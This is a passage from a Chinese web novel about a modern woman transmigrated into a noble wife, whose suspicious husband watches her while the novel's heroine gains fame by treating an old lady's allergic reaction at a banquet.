母女俩又说了些贴心的话,直到宋氏来说宴席已备好,几人才去了花厅。
两人一直在卫家逗留到响午才回去,离开前卫母交代女儿女婿,说是让外孙窦景有时间来看看她,卫姜答应了。
今日卫姜特意让窦靖和陶氏留在家里不用跟来,主要还是因为陶氏的胎,哪怕如今卫姜并没有搓磨她,可太医说依旧有早产的可能。
说来说去,其实还是陶氏害怕她,心里想的多,这胎就养的不平静,卫姜为了消除她的惊惧,只能让窦景多陪陪她。
本来他们还准备去一趟阳武侯府,他看卫姜有些累,便让他不用去了,其实主要是因为在卫家的时候他就见她眼睛有些红肿,心里猜测应该心情不会太好,怕她去了迁怒窦家人,所以不想她去了。
窦家长辈都已故去,如今府里住的是窦绍的大哥和三弟,原本窦绍和卫姜也应该住在这里,但因为原主的性子,两人多年前就搬出来别府另居了,也算是分了家。
他大哥和三弟才干平平,如今也就是兵部混个日子,窦家早就在父辈之时就已经开始落败,要不是出了个窦绍,如今京城谁还看得上窦家。
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>窦绍过去,窦家人自然高兴,就连窦明都特意赶回了娘家,见卫姜没有来,还问了两句。
窦绍有些奇怪大嫂和侄女怎么忽然关心起卫姜来了,特别是窦明,提到卫姜神情中还有感激之色。
他来不及深想这些异常就被大哥和三弟拉去喝酒了,一直喝到深夜他才醉醺醺地回到府中。
长佩她们准备了醒酒汤,全贵服侍着他喝下,卫姜皱着眉头嫌弃地用手扇风,她觉得呼吸间都是酒臭味。
窦绍其实没有醉的那么厉害,他只是不想辩驳,而且他也有自己的打算,一个醉的不省人事的人,想必会让她降低戒心。
他想知道,这个人还是卫姜吗?
卫姜真想把他赶出去,哪怕梳洗过了,这小小的空间中依旧能闻到淡淡的酒味,她屏住呼吸,还是不能忍,气呼呼起身一把将帷帐掀起,这样好多了。
她探身出去,把帷帐挂了起来,返回时故意踩了他一脚,也不知道踩到了哪里,她以为隔着被子应该不会很疼,可没想到窦绍啊的惨叫了一声。
卫将跟做错了事一样心绪,也顾不得嫌弃味道了,凑上前关心地询问:“你有没有事?腿断了吗?”
窦绍的眼光中带着迷离,盯了好一会儿才好像找准了焦点,好像是不认识她一样,好奇问道:“你是谁?”
原来还没清醒,卫姜松开扶着的手,让他的头掉回枕头上。
“我是你爹。”
窦绍这下是真的怔住了,他是真没想到她会这么回,险些没装下去。
卫姜往里面滚去,这嫌弃的姿态不是一点半点。
窦绍盯着她的后背,眼里哪里还有半点醉意,他已经能确定几分了,眼前的人绝不是卫姜。
卫姜性子糟糕,可她毕竟是高门出身,是怎么都不会说这种话的。
她到底是什么人?
卫姜迷迷糊糊快要睡着了,忽然腰间一紧,一条粗壮的胳膊搭了过来,跟着一个温热的胸膛就贴上了她的后背。
我靠!卫姜一下子就清醒了,整个人都僵住了,动都不敢动。
“夫人,你是不是生气了,是为夫不好这两天冷落你了,我现在来伺候你。”窦绍的气息喷洒在她耳后根,卫姜只觉得一阵酥麻。
真是要人命,卫姜跳了起来,紧紧抱着被子,防备地盯着她,结结巴巴道:“不……不用,你醉了,你好好睡。”
说完就要跳下床逃走,却不想被窦绍抓住了脚踝,她一个没站稳正好摔进了他的怀里。
两人四眼相对,卫姜清楚看到,他的眼神迷离发散,他还醉着。
醉了都还惦记着侍寝,卫姜你到底是做的什么孽,难怪后面他爱上女主后会对你这么狠啊!
正想着,窦绍的手已经在解她的寝衣腰带了,要命!这手指真好看,还有他的喉咙!性感祸人。
卫姜咽了下口水,这不是沉迷男色的时候,你清醒点啊!
她捂紧了衣服,狼狈地从他怀里逃出来,拿出以前哄侄子的口气,“怪啊,不要闹,我不是你夫人,你认错人了。”
窦绍眼神有些懵懂,好似在奇怪:“那你是谁?”
我是你爹!
但看他这个样子,说是他爹可能也没用,她挤出一个笑容,“我是仙女啊,你要听仙女的话,快闭上眼睛。”
窦绍醉了还挺好骗,真就乖乖地闭上眼睛,趁着这个机会,卫姜逃也似的离开了大床。
可她不知道该去那,站了一会儿,她伸头去看,见窦绍还想真睡着了,她松了口气,偷偷地拿过被子,在窗下的榻上躺下了。
仙女,看了一眼窝在长榻上的那女人,窦绍嗤笑一声。
11. 第 11 章
信王平安回京,宫里正在开始准备他的婚事了,苏家为苏青的生辰大摆宴席,也有低调亮相的意思。
若是婚事定下的顺利,明年苏青的生辰就不在娘家过了,京城人人都觉得苏青和信王的婚事铁板钉钉,但只有卫姜知道最后没成。
窦绍见她笑的奇怪,心里也有些狐疑,特别是她听说了信王也来了苏家,笑容更是不可琢磨了。
他总觉得这个卫姜好似对信王、苏家都很熟悉,而且还抱着一种看好戏的心态。
当然有时候她也会用这种古怪的眼神看他和儿子,窦绍心里有些五味杂陈,他心里已经确定眼前人并不是那个人,可他却心有顾虑,暂时不想拆穿。
最近家里难得祥和让他有些犹豫,也不知道是她演的好,还是亲近的人对那人抱有幻想,总觉得她是幡然醒悟,变了性子。
他刚刚回到京城,才肯接手了户部的事情,若是家中忽然出了丑闻,对他是很不利的。
窦绍看向和女眷应酬往来的那人,言笑晏晏,应对自如,很有分寸地拿捏着身份,这些都是以前那人做不到的。
今日她打扮的很是张扬,其他女眷清雅如兰,那她便是艳丽的牡丹,富贵逼人。
窦绍有些晃然,他好像很久没见过她这个样子了,甚至都快忘了她的本来面目了,以前她很少会这样打扮,她总是把自己藏起来,学着京中贵妇们往清瘦娇弱折腾。
“看什么,人都走了,还发呆呢。”来人重重拍了窦绍一下,顺势便把手搭在他的肩上,和他一起看向卫姜离开的方向。
窦绍见了来人,脸色闪过一丝笑意,身边一偏让他的手落空,徐仰差点没把自己摔倒。
还是这么蔫坏。
徐仰嘴角抽抽,故意打趣他道:“嫂夫人不过是去参加花宴,你倒是像个忘妻石,这么难舍难分,还真是应了久别胜新欢,喜欢上了?”
窦绍给了他一记冷眼,徐仰见了有些讪讪,摸了摸鼻子。
他明知道好友家里的情况的,还这么打趣确实不好。
窦绍:“你怎么过来了?”
徐仰:“今日苏家有花宴,你定是不会去的,我正好休沐就来看看你,等你想起我还不知道什么时候呢?”
徐仰嘴上好似在抱怨,脸上确实为好友高兴,窦绍在外地主政多年,如今回京必然有很多亲旧故友要拜访,他等不及要见,就直接跑来了。
“那就府里坐坐。”
窦绍邀请他进府,徐仰却抬起头仔细打量着这个宅子,这还是他第一次踏进来。
徐仰:“看来这次回来嫂夫人没有找你闹。”
刚刚他的感觉没错,好友夫妻之间的关系有所好转,以前他和好友相聚,从来都是去外面的茶楼。
窦绍没有搭理他的这话,他以前就不喜欢把自己的私事说给别人听,更何况如今卫姜确实有些不妥,那就更不能跟别人说了,哪怕这人是至交好友也不行。
“去把少爷叫来。”窦绍吩咐下人去叫窦景来见徐仰。
窦景来的很快,徐仰是个懒散的性子,如今是见小辈,却不得不摆出一副长辈的模样,勉励了一番就打发了人下去。
“这儿子就是没有女儿贴心。”徐仰有四个儿子,五年前他的夫人给他添了个女儿,从此以后他就彻底成了女儿奴。
每次和窦绍通信,都要在信里多方面炫耀下女儿。
“景哥他媳妇也快生了吧,你想要女儿是没指望了,盼着你儿子给你生个孙女吧。”
徐仰有些同情地看向窦绍,好友和县主的关系冷的像冰,定然是不会有好消息了,且县主跋扈,好友这辈子也不可能添屋里人,只能寄希望儿子开枝散叶了,还好夫妻俩决裂前有了儿子,不然好友说不定就断了香火。
娶妻还是要娶贤,就比如自己,妻妾和睦,家中儿女成群。
可见人都不可能是全乎的,好友仕途顺遂,官运亨通,这情路就走的坎坷了,甚至可以说是断绝了。
“我可不想要女儿,长到十来岁就成了别人家的,白养了一场,何必呢。”
徐仰:“你……”手指都颤抖了。
他捂住胸口,好友一如既往精准地往他心上插刀,明知道他听不得这些,一想到香呼呼的女儿要嫁人,他就像被挖了心肝的疼。
就不应该来看他,看来县主还是折腾的轻了,好友日子过的还是太轻松了。
徐仰在窦家和窦绍斗嘴的时候,卫姜也碰到他的妻子和母亲,徐母是个慈爱的老妇人,他的妻子也是个温婉的美人。
可能因为窦绍和徐仰的关系,卫姜的位置和她们离的很近,只隔了几桌。
徐仰的妻子张氏长着一张笑脸,之前也是硬着头皮和卫姜打招呼,没想到卫姜竟然对她很是热情,这才有些有宠若惊。
卫姜对徐家婆媳这么热情,当然是有原因的。
她今天来这个宴席主要还是来见女主的,可到了这里才知道人太多了,年轻姑娘们更多,看谁都有点像女主。
书上对女主的容貌描写很少,一直都是说她风姿绰约,身材高挑,眉眼端庄,这可就难找了,稍微长得整齐点,别人也会说一句长得清秀端庄。
她又不能上去就问,你是不是葛月,是不是苏家那个被换掉的真千金,而且根据进度,她现在也不应该知道葛月。
卫姜只能盯着高个子的姑娘看,正一筹莫展的时候,徐家婆媳出现了。
原书中这场宴会,徐家婆媳可是重要配角,她们可是触发剧情的关键npc,而且对女主认亲起到了推动作用。
卫姜眼神灼灼地盯着徐母,这让徐母有些紧张了。
“县主,您找我可是有事?”不然怎么一直盯着她看。
卫姜摇头,也知道自己盯的有些过分了,忙说道:“只是太久没见夫人了,见夫人神色更胜从前,难免多看了两眼。”
徐母被夸的不好意思,用手摸脸,坐在两边的夫人们也看向她,也纷纷说道:“还真如县主所说,你这脸可是红润的很,你这是怎么养的。”
竟然开始询问起养生秘笈了。
徐母被这么多人打量,脸都有些热热的。
一群夫人太太们彼此交换着自己的养生法子,也不知道是谁忽然骇叫了一声:“你的脸!”
徐母有些莫名,看向儿媳,张氏看着婆母的疹子已经从脖子爬满了整张脸,惊的站了起来。
来了,剧情开始了。
徐母已经有些呼吸困难了,她抠着脖子,发出嗬嗬声。
卫姜有些着急看向人群,怎么女主还没有出现,书中就是女主只是用银针扎了几下,徐母就好受了很多。
徐母这样子明显是过敏了,之前她不知道徐母会对什么过敏,又不能不让人家吃东西,不然苏家还以为她来闹事的,所以只能盯着。
一群人围着徐母,张氏急的眼泪都出来了,可苏家的大夫来的没有那么快,眼看徐母都把脖子抠破了,张大嘴巴好像吸不上来气。
过敏也是能要人命的,这样下去不行。
“你们快让开点,别围成一堆。”围着当初空气流通了。
卫姜毕竟是县主,她的话那些人还是不敢不听的,只是看向她的眼神有些古怪,可能以为她是故意为难徐家婆媳。
但她顾不上了,她亲自上前看了一眼徐母,见她已经喘不上气,张氏又把她留在怀里,这样可不行。
苏家二夫人已经赶了过来,见者情形也吓了一跳,顿时也失了注意,卫姜只能吩咐她找见屋子让徐母平躺下。
又让人掐她的人中,让她不至于昏迷过去。
“快去问问有没有人懂医术。”
大家一看我我看你的,都在犹疑,来参加宴会的都是官宦勋贵之家,谁家女眷会去学这些。
卫姜见苏二夫人不动,厉声喝道:“还不快去!”
她这才恍然,忙吩咐侍女们去园子里传话,这边的动静也惊动了不少人,那些姑娘们都往这边赶。
其中一位身材高挑,神色沉静的姑娘越过众人走了过来,先是对着卫姜行了一礼,开口道:“见过县主,我会一点医术,可否让我试试?”
卫姜打量着她,她长相不过清秀,却很有气质,表现的不卑不亢。
“你叫什么名字?”卫姜想知道她是不是女主。
“我叫葛月,是跟着贺家……”她以为卫姜是信不过她,准备说出贺家来给自己加一点可信度,她看得出来,这病患已经很危险了。
谁知道县主听说她的名字后,里面起身让出位置:“你来。“
葛月愣了一下,但很快就上前查看病患,她诊脉又看了下情况,也不知道从哪里掏出几根银针,刷刷刷就扎了下去。
张氏吓了一跳,就要出声阻止,却被卫姜拦住了。
但很快大家也就知道这位葛月姑娘是真的有两把刷子,徐母竟然缓过气来,喘的没那么厉害了。
葛月刚扎完针
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,那边苏家人已经领着大夫赶过来了,请的还是宫里的御医。
见御医来了,葛月连忙起身让开,御医先是上前诊脉,然后才一脸欣赏地看向身边的女子。
“这位姑娘救治的很及时,要不然就危险了,不知姑娘这一手银针可是鬼门十三针?”
鬼门十三针?众人都有些不明白,但御医既然这种语气问,怕是应该很厉害,大家看向葛月的目光有些复杂。
果然是女主,面对这么多人的打量,竟然还能面不改色,卫姜不由地佩服。
葛月:“我不知道什么鬼门十三针,我师父说这是李氏神针。”
御医神色有些疑惑,但也没有深究,“不想姑娘年纪轻轻竟已得到真传,后生可畏。”
张氏听到这么说,庆幸刚刚自己被县主阻挡了一下,不然岂不是害了婆母。
“姑娘,真是多谢你出手相救,你的恩情我们徐家一定会报。”
徐母缓和很多,只是有些虚弱,“多谢葛姑娘救我一命。”
葛月依旧冷着一张脸道:“这是医者本分,你还是要查查刚刚是不是吃错了什么?”
徐氏婆媳:“多谢。”
众人听了这话,想到徐母是在宴席上发的病,一时脸色各异
“你这是什么意思?说我们家的吃食不干净?”苏妍跳出来对葛月发出质疑。
苏妍是苏家二房的女儿,二夫人忙拉了女儿一把。
今日的寿星苏青也赶了过来,听到了自家堂妹的这话,瞟了她一眼,有些警告之意。
“快去把老夫人刚刚用过的东西都封存起来,带过来让御医查一查。”她一边吩咐侍女,一边对徐母表示歉意。
苏家身为主家,却让她们在宴席上出了差错。
徐母本就是柔和的性子,顿时有些不好意思道:“倒是我搅了你的生辰宴,大家一样的吃都没有问题,应该不是那些吃食的问题。”
苏青温温柔柔,替父母表达歉意,说是宫里派人来了,父母赶不过来,让徐母不要怪罪,一边又说:“还是让御医看看吧,这样也安心些。”
和苏青处理事情的手段对比起来,苏妍刚刚的质问显得太过愚蠢,同样是维护苏家的名声,苏青主动让御医查看吃食,就高明很多。
果然精心培养的嫡长女还是不一样,想到这是内定的信王妃人选,众人只有羡慕嫉妒的份。
卫姜看向葛月,只见她低头站在一边,不知道在想什么。
徐母用过的吃食都拿过来了,御医一一查看,但都没有发现什么不对。
“刚刚老夫人都吃了些什么?”御医让她把刚刚吃过的东西都点出来。
“都是些糕点果脯,没有什么别的了。”
御医一时有些为难了,这些吃食都是干净的,没有做过手脚。
葛月抬头看了一眼那些果干,想要说些什么,又看了一眼御医,最终低下头。
卫姜见到里面有芒果干,忽然有些明白了,芒果过敏在现代都很常见。
“你可是有什么话要说?”卫姜突然对葛月发问。
葛月有些诧异,但对方是县主,而且她也确实需要这个扬名的机会,便上前一步道:“我有些猜测,还需要老夫人确认一下。”
徐母也有些好奇:“你问。”
“不知道些果干以前老夫人可用过?”
徐母点头,但很快又迟疑地摇头,指着其中一个道:“这个倒是头次吃。”
一旁的二夫人见了,忙说道:“这果脯是我们家老爷从南边送来的,这京城确实不太见,难道是它的问题,可我们都吃过,也没什么事啊。”
众人点头,但也有些后怕,怕它发作是不是会慢一些。
苏妍被母亲拽着,满脸地不服气,愤恨地眼神一直盯着葛月。
葛月摇头:“我师傅曾经提过,有些人对一些东西会起风疹,也不是全部的人会如此,只怕老夫人是吃不了这东西。”
御医在旁也拍了下额头,“这位姑娘说的没错,有这个可能。”
要证实其实也简单,只要徐母再吃一点就行,只是如今……
为了找到病因,徐母还是强忍着吃了一点,很快风疹就又漫了上来,这些算是找到罪魁祸首了。
葛月也算是在京城打响了名声。
有了徐家帮助,再加上窦绍,葛月下一步就应该是进宫了。
窦绍被她打量的毛骨悚然,拉过被子转了个身。
12. 第 12 章
次日,徐家还有信王都派人送了大礼过来。
徐家倒是说的过去,毕竟卫姜也算是帮衬过,只是这信王……
“信王是替葛姑娘表示感谢的。”昨日要不是卫姜信任葛月,让她出手替徐老夫人诊治,只怕她也不能这么快在京中扬名。
窦绍留意到她听完这话嘴角挂了一丝玩味的笑意。
其实没有她还会有别人出面让女主给徐母诊治的,倒是让信王破费了。
“县主,苏家派人送了礼物过来,说是昨日让您受惊了。”
长佩看向县主,苏家那位严夫人也算是丢了脸,竟然在自家女儿的生辰宴上出了那样的事情,想必县主会很开心吧。
果然,卫姜挑了挑眉头,笑道:“送进来我瞧瞧。”
窦绍:“苏家可是有什么不妥,还是说这位严夫人有什么短处拿在你手上?”
他的突然发问问懵了卫姜。
“你对苏家好像很在乎,而且一脸看好戏的意味。”
他话音刚落,卫姜就双手捂脸去照镜子了,还转过头一脸真诚发问:“真有这么明显?”
“现在有了。”
不用他在试探了,她确实和苏家,不,应该是说严氏有罅隙。
可和严氏不对付的应该是那人,她怎么会……
不对,窦绍忽然脸色一变,她之所以没被人识破,不但是因为她一直在模仿那人的行事,恐怕更因为她记得以前的总总吧,所有没有人会怀疑。
窦绍起身往外走去,一脸严峻,卫姜哎了一声,人影已经不见了。
不是说好和她一起去徐府探望吗?怎么又突然走了。
窦绍直径去了前院,吩咐人去叫全贵和顺才。
这两人虽然明面上是卫姜的人,但这么多年用下来,早就已经变成他的心腹了,只是为了避免麻烦,他特意让两人把一些事情透漏给那人。
两人就住在后巷,来的很快。
“你们都是从卫家出来的,想办法查一下县主近半年来发生的所有事情?有没有见什么人,有没有什么不寻常的事情发生,任何小事都不能放过。”
“是。”两人应声。
“大人放心,我和县主身边的长佩家里是远亲,不如就从她那里入手。”
全贵的这个提议被窦绍否了,“不行,此事不能惊动其他人。”
窦绍心中担忧,他们前脚询问完长佩,只怕后脚后院那位就该知道了,他如今一点都不怀疑她的御下能力。
如今她身边除了陪嫁过来的长佩,其余的侍女都是窦家人,但却都对她忠心耿耿。
“暗地里查,我记得县主以前身边还有个赖嬷嬷,不如就从以前侍候过她的那些人查起。”
窦绍这次回来却没有见到她以前的那些心腹,下面的人说是犯了事被县主打发出去了,赖妈妈也去庄子上荣养了,这么巧,事情就发生在他要回京之前。
这个时间点也正是她性情大变,从此之后没有再为难儿媳陶氏,甚至还让人请了大夫安胎,一副好像知道会发生什么一样。
会发生什么,窦绍眉头跳了一下,神色微凛。
“大人,县主说准备好了,问您还去不去。”下人还有一句话没说,县主原话可是:他不去我就不等他了,耽搁别人时间。“
窦绍打开房门,“县主现在何处?”
“让人备了马车,现在快到二门了。”下人手指着二门的方向。
窦绍没有备马,竟是和卫姜一起挤在马车里。
一路上窦绍都在观察着她,她是个坐不住的,没一会儿就趴在窗口好奇地看着外面大街。
她对一切都感到新鲜,看到一些新奇的事物还会惊呼。
用一句不贴切的说话,就好像乡下人首次进城,但这说法也不对,窦绍能感觉到她是纯纯地好奇,而不是惊叹京城的繁华。
她的惊叹更像是一种感到意外,好像她曾经见过比这更繁华的。
天下间还有什么地方会比天子脚下还繁荣。
窦绍从不相信什么怪力乱神,他之前一直怀疑她是对手派来的江湖高手,江湖那些神奇手段不少,易容之术他也是听过的,可如今了解的越多,他竟有些动摇了。
马车驶过繁华的街道,外面便没了热闹可瞧,卫姜有些意兴阑珊。
“你干什么一直盯着我看?”卫姜瞪着双眼质问他
她又不是个死人,那直勾勾的眼神盯的人发麻,要不是她脸皮厚,说不定小脸都被她看红了。
要不是他非要挤进来,她用的着一直看外面吗?外面寒风刺骨,她也很冷的好吧。
不知道自己长得让人想犯罪吗?还直勾勾盯着女孩子看,看的她都心猿意马了,卫姜瞪了他一眼。
窦绍完全没有被抓包的羞愧,反而一本正紧道:“太久没有见夫人了,夫人好像变了一些。”
卫姜心里一紧,手指不自觉的蜷缩,窦绍没有错过这个小动作
“是吗?你太久时间没回来了肯定记错了,就是记错了,我一直都这样,没变。”卫姜继续嘴硬,但说出来的话莫名的虚。
还好徐家已经到了,卫姜不想和他继续讨论这个话题,连忙先下车。
徐仰夫妇已经等在大门口了,见到两人来连忙迎了上去。
几人寒暄了几句就往正院走去,老夫人是长辈,窦绍也和卫姜一同前往探望。
徐仰和窦绍落后几步,见前面的人走远,他碰了一下窦绍,说道:“我夫人说县主性子变了好些,我当时还不太相信,今日一见,我却信了五分。”
刚刚他都差点没认出来那是新宜县主,和以前简直判若两人,虽然依旧高傲不可攀,但眼神却少了一丝轻蔑和疯狂。
窦绍只是抬眼看向前面那人,也不知道说了什么,她笑的眼睛都弯了。
徐仰见好友这样,叹了口气,心中为他高兴:“你也算是苦尽甘来了,以后好好和县主过日子吧。”
不是他说,以前两夫妻过成那样也不能全怪人家县主,好友他的性子也是有些太冷了,什么话都喜欢藏在心里。
就比如,刚刚看向县主那眼神都柔的能滴出水,任谁都能看得出他的喜欢,可偏偏他不说,县主可不就得闹吗?
要是跟自己一样,每日都要抱着媳妇说几句喜欢,把自己的爱意说出来,日子还能过差了。
“要不要我传授你几招?”徐仰靠近他,语气中不怀好意。
窦绍冷笑着白了他一眼:“你自己留着用吧,就你这脑子,教我怕是不太够。”
徐仰气了个仰倒,这要不是看在他是客人,真想把他轰出去。
徐母的风疹已经退了下去,剩下的就是静养了,卫姜和张氏进了内室,双方你来我往地关心了几句,看的出来徐母精神好了很多,和卫姜说了小半盏茶的时间。
“母亲,葛姑娘怎么不见?”张氏终于想起屋里少了个人。
卫姜忽然就知道她说的是葛月,徐母转头对卫姜解释道:“葛姑娘救了我,我想着请她来家里坐坐,到累的她去替我熬药了,拦都拦不住。”
看得出来,徐家婆媳都对女主很有好感。
外间有人在说话,女主清冷的声音很是清晰,多数时候是徐仰在说话,窦绍只是偶尔出声。
已经有侍女端了药碗进来,徐母到了用药的侍候,张氏便带着卫姜出了内室。
“不想葛姑娘和你也是熟识?”徐仰感到惊奇。
窦绍却没有他那么激动,淡淡道:“不熟,葛姑娘是信王的恩人,我们恰好同路进京。”
抬头就撞见了卫姜瞧热闹的目光,他眼眸幽转,她为什么一直打量着葛姑娘和他。
窦绍心中凭空起了些不悦,早已不是控制不住情绪的年纪,却偏偏此刻挂在了脸上。
徐仰见他冷了脸还有些莫名,不过见卫姜来了,他忙上前客套:“多谢县主前来探望我母亲。”
“你太客气了,你我两家世交,你和……”卫姜顿了一下,迎两夫妻的眼神,把那个烫嘴的称呼说了出来。“我夫……夫君是多年挚友,伯母微恙我们来探望一下你还这么客套。”
张氏和徐仰对视一眼,心中都有些意外,意外她会说出这样的话。
要知道徐仰因为妻妾众多,以前县主可是很不喜欢某人和他过多往来的。
窦绍听到她说夫君这两个字时,心竟然忽地猛跳了一下。
站在一旁的葛月有些被忽视了,张氏是个玲珑之人,自然要不能冷落她。
“葛姑娘,你看本是邀请您来做客,倒是让你受累了。”
葛月不愧是女主,荣宠不惊,淡
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淡接受了张氏的道谢,“老夫人还需要多调养些日子,过几日我再来给她看看是否还需要扎针。”
张氏欣喜,“那就有劳葛姑娘了。”
书中也说过女主的医术,没想到这针灸之术这么厉害,连太医都说她厉害。
卫姜把自己全身都想了一遍,实在没找到什么毛病,她有些惋惜,要知道女主以后可不好请了,要是现在能请到她治病,那可真是赚到了。
“葛姑娘,信王殿下还送了重礼到我府上,实在是有些不好意思收,昨日我也没帮上你什么忙。”卫姜笑着对葛月道。
信王做好事不留名,她可不准备瞒着,得让她知道男主为她做了多少事情,盼着他们快点确定心意,快点走剧情,她好早日回家。
万事淡定的女主听到信王两个字居然脸红了,哎,要说这两人没事,恐怕是没有人信了。
在场的除了卫姜,其他人脸色都有些怪。
要知道,信王妃宫里可是定了苏家的女儿,这葛姑娘……给信王做小,可惜了。
张氏为她惋惜,但这种事情她们又不是至亲,倒是不好开口劝什么。
本来徐家要留他们用完膳再走,可窦景今日不在家,他离开前千叮咛万嘱咐,要卫姜照顾好他媳妇,不然……哼哼。
话虽然没说完,可就这两个哼哼,卫姜也不敢马虎,婉谢了徐家就准备返回,而窦绍还要去户部一趟,早就已经先行离开了。
张氏送她一直出了二门,路上两人聊起葛月,这才知道,原来葛月养母竟然是兴安伯府的旧人。
她今日上门也是为了查询当年旧事。
卫姜愣了一下,她看书的时候认清这一段并没有提过兴安伯府,难道以前是窦绍帮她查的?
要知道信王也是她认亲后才知道她是苏家女儿的。
那窦绍选择今日来徐家,也会是因为女主吗?
要真是,那他演的可真好,在她面前扮不熟,怎么?怕她又来伤害女主吗?可她不是原主啊,要不跟窦绍说一下,让他放心地沉沦,她绝不坏他好事。
卫姜嘿嘿坏笑,下一刻又收起笑容摇头,不行,这样岂不是给信王找了个强硬的情敌,万一剧情崩了怎么办?
那还是继续让窦绍苦恋吧,走爱而不得默默暗恋的剧本。
卫姜这么一想,乐不可支歪在软枕上。
一连几日,卫姜都没有出门,窦绍去了户部之后更忙了,也不在家,家里只有陶氏和她两人。
陶氏更是不敢离开西苑半步,好不容易养出的一点肉也瘦下去了,光剩个肚子大的下人。
这样下去也不行,卫姜索性找上门,可她当面聊聊。
“你不用那么害怕,我以后不会再对你做什么了,你现在要好好养胎,别把自己的身子折腾垮了。”
她说一句,陶氏点头一次,就跟个鹌鹑似的缩在一旁。
卫姜知道原主以前做的那些事吓坏她了,陶氏不是那么容易能放下的,最好的办法就是两人隔开一段日子。
有没有什么办法能去别的地方住呢?关键是,立马就要过年了,离开家也得有个好借口吧。
可陶氏的产期就在明年三月,也没有多久了,要是照这么下去,只怕不早产大人也熬不住。
回到正院,她就询问长佩她在京城周边还有没有其他别院,不问不知道,一问吓一跳,资产雄厚的很,陪嫁的别院庄子就好几处,光在京城就有三座宅子,更别说小汤山还有庄子。
如今这个季节,正是泡汤的好时候啊,卫姜听的心痒痒,陶氏有孕肯定不能泡,那只能她勉为其难去泡了。
正想找个好借口跟窦绍说呢,却被他先开口了。
“去蓟州?马上就是年节,那你什么时候回来?”
好像是抱怨他出远门,可眼底的笑意都快溢出来了
“你刚想说什么?”窦绍问她
卫姜想了一下,既然她要出远门,那自己去泡汤泉好像也不是什么大事。
“京城太冷了,我想去小汤山住一段时间,本想邀请你一起的,可惜你要出远门。”她灵机一动,一副太可惜了的表情。
窦绍嘴角抽了一下,说道:“既然如此,不如夫人随我一起去蓟州吧,那边汤泉也很有名。”
见卫姜愣在当地,他很满意。
13. 第 13 章
听着车外哒哒哒的马蹄声,卫姜很是懊悔,自己怎么就被他忽悠瘸了,这么冷的天陪他出公差,这是恋爱脑才能干出的事情吧。
都怪自己意志不坚定,被他笑着哄了几句就稀里糊涂收拾行囊了。
长得好看的男人都会骗人,上了年纪的帅哥更会骗人,就这么三言两语的就把她骗出了京城,别以为她不知道,他是担心离开后自己会作妖,如今府里儿媳就快生了,窦绍就想把她绑在身边带走,省的会出现变故。
窦绍确实是打的这个主意,但不仅仅是为了府中的安宁,还因为他觉得卫姜太过危险,他看不透这个人,摸不清她的来路。
很多事情看起来都在她的意料之中,这给窦绍很大的危机感,他心里有一种直觉,若是放任不管,她甚至会把他的命运弄的乱七八糟。
在没弄清她到底是什么人之前,必须把她放在眼皮子底下,如此就算有什么变故,他才能及时应对。
而且,他也想借此机会再观察观察这人。
窦绍不是没感受到卫姜的怨气,可他只能当不知道,贴心地为她送上点心。
“我不吃这些干巴巴的,我要吃热乎的。”卫姜发着小脾气。
但这在窦绍眼里都不是事,以前那人可比她难伺候多了。
“好,还有一个时辰我们就到驿站了,到时候我让人给你做些你爱吃的。”
任卫姜怎么使小性子,他都笑着应下来,这让她感觉一掌打在了棉花上,无处使劲。
卫姜嘟努着嘴,不甘地瞪了他一眼,狠狠咬了一口点心,动作很大地嚼着,看着气势好像吃的是某人的肉一样。
窦绍见她有些干噎,贴心地倒上茶水。
那殷勤的眼力劲,不知道的还以为他宫里侍候出来的。
“他们怎么也跟来了?”
卫姜一边小口吃着桃花酥,一边看向前面,开口问窦绍。
这次一起出发的不单单就他们俩人,还有赶上来的信王和葛月。
这也是卫姜为什么那么懊恼也没有说要回京的原因,女主和男主一起出动,那肯定是大事件啊。
但她不记得书中有写这一段,两人去蓟州会是为了什么,难道是为了女主的身世?
可惜窦绍口风很紧,半点都不肯透露,他们这么巧就和他去的是同一个地方,真巧又同时上路。
说不是提前商量好的,鬼会信哦。
“不知道,我们和信王殿下不过是同一段路,不妨事的。”
还是防着她,卫姜有些气愤!转过头去给他看后脑勺。
就这么放着男女主单独相处,让他以后悔的肠子都青了才好呢。
窦绍可不知道她丰富的内心戏,还以为她只是觉得有信王同行不自在。
“要不,你还是去骑马吧。”
窦绍不懂她的意思,表情有些讶异,卫姜继续道:“你一直这么和我待在一起会很危险的。”
她压低声音靠近他,阴森道:“看着你这张脸我很容易犯病的,万一……”她哼哼了两下,威胁之意不言而喻。
窦绍脸有一霎那的僵硬,卫姜觉得自己没有看过,他的眼神中闪过冷意。
卫姜好像抓住了什么把柄一样兴奋,他果然是装的,就说书里面写了他根本不喜欢原主,怎么可能这么温柔体贴,这个死渣男,一面冷暴力老婆,一面又在外人面前表现对妻子的好。
这么喜欢演是吧,卫姜忽然起了恶意,她一把抓住窦绍的手。
太过突然,他根本来不及反应,稍稍用力两人便十指交错,卫姜眨巴着眼睛,带着痴迷地盯着他的脸看。
要是他没有听错,她应该还吸溜一下口水。
她的动作表情极其猥琐,但却让人起不了丝毫的嫌恶,他甚至有些想笑,他低下去,怕她发现自己翘起的嘴角。
卫姜却以为自己成功吓到他了,继续发力,右手抬起他的下巴,温热细腻的手指在他俊俏的脸上划来划去。
最后定格在她心痒痒想摸的高鼻梁上。
三十多岁的男人不但没变丑,更添了成熟稳重,他的眼神太过幽深,像漩涡一样,让人不由自主地想去探个究竟。
窦绍低垂着眼眸,任她动作,就是要看看她到底要干什么。
过了良久,都不见她动作,好像把玩玉器一般地摩挲着他的脸,有些发痒,那酥麻瞬间到了他的后腰处。
窦绍偏过头,把脸从她的掌控中脱离出来。
“夫人这是想要我侍寝了?”
卫姜脑袋嗡地一下,热气蒸上整个面部,不用照镜子她都知道自己的脸肯定跟猴子屁股一样红。
最重要的是,那日他说的醉话竟然还记得!
这下想逃出马车的人变成她了。
“这里毕竟不便,不如等到驿站。”他继续说着能让卫姜尴尬的抠脚的话
“当然,若是夫人坚持也不是不可以……”
卫姜一把上去堵住他的嘴,不让他在胡说八道了。
窦绍看她急了,眼里都是笑意,就这么随她捂住嘴也不反抗。
“大人,前面驿站到了。”
马车刚停,卫姜就一阵风似地跑进了驿站,侍女们跟在后面追。
窦绍倒是不紧不慢地下车,心情很好的样子。
这要是妖物附体,未免也太不济事了些,也许真如她自己所说,是个不沾红尘之事的仙子,他不过说了几句是是而非的话,她害羞的就丢盔弃甲了。
“县主这是怎么了?”信王带着葛月走了过来,刚好见到卫姜冲进客栈的样子,有些好奇地问道。
“也许是太饿了吧。”
窦绍很少会笑的这么开心,信王不由地多看了他两眼,就连葛月好奇抬头。
